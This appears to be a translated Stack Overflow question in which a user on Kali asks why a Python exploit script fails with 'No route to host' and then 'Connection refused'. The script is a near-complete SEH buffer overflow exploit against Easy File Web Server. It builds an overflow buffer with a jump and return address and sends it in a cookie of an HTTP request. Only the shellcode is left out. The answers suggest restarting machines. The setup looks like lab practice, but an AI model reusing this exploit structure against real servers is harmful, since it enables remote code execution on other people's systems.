如何避免这个socket.error:[Errno 113]没有主机路由?

时间:2018-05-05 15:18:05

标签: python sockets

我正在尝试利用Easy File Webserver上的SEH Buffer Overflow。但是,我收到以下错误:

root@kali:~/Desktop# python default.py
[+]Sending the Exploit....
Traceback (most recent call last):
  File "default.py", line 42, in <module>
    s.connect((host, port))
  File "/usr/lib/python2.7/socket.py", line 228, in meth
    return getattr(self._sock,name)(*args)
socket.error: [Errno 113] No route to host

这是我的代码:

import sys, socket, struct

shellcode ("Ignore the shellcode.")
host = '192.168.40.156'
port = 8080
evil = "\x90" * 4 + shellcode
buffer = "A" * 4059 + "\xEB\x06\x90\x90" + "\x34\x03\x01\x10" + evil + "D" * 578
httpreq = (
"GET /changeuser.ghp HTTP/1.1\r\n"
"User-Agent: Mozilla/4.0\r\n"
"Host:" + host + ":" + str(port) + "\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
"Accept-Language: en-us\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Referer: http://" + host + "/\r\n"
"Cookie: SESSIONID=6771; UserID=" + buffer + "; PassWD=;\r\n"
"Conection: Keep-Alive\r\n\r\n"
)


print "[+]Sending the Exploit...."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(httpreq)
s.close()

print "Done!"

如何解决此错误?

  • 两台机器可以相互ping通。
  • 受害者计算机的防火墙已关闭。

编辑:重新启动计算机并开始运行脚本。我现在收到以下错误:

[+]Sending the Exploit....
Traceback (most recent call last):
  File "default.py", line 42, in <module>
    s.connect((host, port))
  File "/usr/lib/python2.7/socket.py", line 228, in meth
    return getattr(self._sock,name)(*args)
socket.error: [Errno 111] Connection refused

1 个答案:

答案 0 :(得分:0)

解决错误socket.error:[Errno 113]无主机路由?

我重启了我的电脑(攻击者的机器)

解决[Errno 111]拒绝连接

我重新启动了我的网络适配器(攻击者机器重启后受害者机器突然无法ping回攻击者机器)